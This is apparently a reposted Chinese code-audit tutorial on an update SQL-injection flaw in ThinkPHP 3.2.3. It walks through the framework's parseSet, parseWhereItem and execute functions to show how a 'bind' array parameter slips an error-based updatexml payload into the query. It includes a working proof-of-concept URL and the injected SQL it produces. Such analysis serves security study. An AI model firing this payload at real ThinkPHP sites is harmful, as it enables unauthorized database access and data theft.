10-PHP代码审计——thinkphp3.2.3 update注入漏洞
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了10-PHP代码审计——thinkphp3.2.3 update注入漏洞相关的知识,希望对你有一定的参考价值。
实验环境的poc:
http://www.tptest.com/index.php/home/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456
通过更改用户密码的案例来分析update注入漏洞的过程:
在分析之前,先梳理一下漏洞利用的过程,update注入的流程是:M函数 --> where函数 --> save函数,这和之前的数据库内核注入漏洞流程有些相似的,不同的是,在where函数的参数只有username,在save函数才传入password。
访问链接提交poc:
这一段是update注入的提交的poc:
username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456
从页面返回的结果来看,报错注入成功把数据库的用户信息爆出来了。
可能有同学会这一串数据有疑惑:username[0]=bind&username[1]=0,简单说明一下,这里是利用了thinkphp的连贯操作bind来绕过,后面我们还会介绍。
那么,话不多说,我们开始分析。定位到where函数:
这里不用说,where函数以数组的方式接收了username,然后将where赋值给options。
接着调用了save函数,在save函数内部调用了db->update函数
update函数的2个参数就是之前传入的username和password
update函数内部调用了parseSet函数:
protected function parseSet($data) {
foreach ($data as $key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$set[] = $this->parseKey($key).'='.$val[1];
}elseif(is_null($val)){
$set[] = $this->parseKey($key).'=NULL';
// 过滤非标量数据
}elseif(is_scalar($val)) {
if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
$set[] = $this->parseKey($key).'='.$this->escapeString($val);
}else{
$name = count($this->bind);
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
}
}
}
return ' SET '.implode(',',$set);
}
取出data的内容给val,is_scalar函数判断val是否为标量,标量指的是是否包含了integer,float,string,boolean类型的变量,其它的都是非标量。
val满足条件后会继续执行以下三段代码
这几行代码会对this->bind进行绑定,现在bind的内容变成了:0=123456,这里会把set变成了一个数组,里面只有一个元素0,其内容为password=:0,bind和set非常重要,但现在我们只需记住bind和set的内容,后面还会介绍。
我们继续分析,定位到parseWhereItem函数
// where子单元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
//是否为数组
if(is_array($val)) {
if(is_string($val[0])) {
//取出第一个元素exp并转小写
$exp = strtolower($val[0]);
//这里正则会匹配exp是否有特殊字符
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
//判断exp是否为bind表达式
}elseif('bind' == $exp ){ // 使用表达式
//将key和val,字符串(= :)拼接
$whereStr .= $key.' = :'.$val[1];
//如果没有则会匹配是否有表达式
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
parseWhereItem函数中的参数key是username,val是username数组的内容,val满足条件后会取出val数组的第一个元素内容给exp(此时exp=bind),判断exp是否为bind表达式,whereStr最终的内容如下:
parseWhereItem函数执行完毕最终返回到update函数中:
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
//将parseSet函数返回的内容拼接
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
parseSet函数里返回的内容是数组set,且里面的内容就是`password`=:0,最终拼接成sql语句,$sql变量的内容为:
UPDATE `users` SET `password`=:0 WHERE `username` = :0 and 1=(updatexml(1,concat(0x3a,(user())),1))#
继续调用execute函数
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\\''.$that->escapeString($val).'\\''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
//释放前次的查询结果
if ( !empty($this->PDOStatement) ) $this->free();
$this->executeTimes++;
N('db_write',1); // 兼容代码
// 记录开始执行时间
$this->debug(true);
$this->PDOStatement = $this->_linkID->prepare($str);
if(false === $this->PDOStatement) {
$this->error();
return false;
}
foreach ($this->bind as $key => $val) {
if(is_array($val)){
$this->PDOStatement->bindValue($key, $val[0], $val[1]);
}else{
$this->PDOStatement->bindValue($key, $val);
}
}
$this->bind = array();
try{
$result = $this->PDOStatement->execute();
// 调试结束
$this->debug(false);
if ( false === $result) {
$this->error();
return false;
} else {
$this->numRows = $this->PDOStatement->rowCount();
if(preg_match("/^\\s*(INSERT\\s+INTO|REPLACE\\s+INTO)\\s+/i", $str)) {
$this->lastInsID = $this->_linkID->lastInsertId();
}
return $this->numRows;
}
}catch (\\PDOException $e) {
$this->error();
return false;
}
}
execute函数中这一行代码非常关键,strtr函数里使用了this->bind进行了替换,之前poc中的username[1]=0就起到了作用,最终替换后的$this->queryStr内容
UPDATE `users` SET `password`=123456 WHERE `username` = 123456 and 1=(updatexml(1,concat(0x3a,(user())),1))#
最终这条sql语句执行的时候会把当前数据库用户的信息暴出来,将错误信息返回到前台页面:
前台页面会显示错误信息是因为thinkphp开启了debug模式,如果是在部署阶段关闭了debug,thinkphp会把报错信息隐藏不在页面显示。报错注入就无法得到想要的信息了,这时候就需要通过布尔注入的方式让页面返回true/false两种不同方式来判断,或者使用其它注入方式。
以上是关于10-PHP代码审计——thinkphp3.2.3 update注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章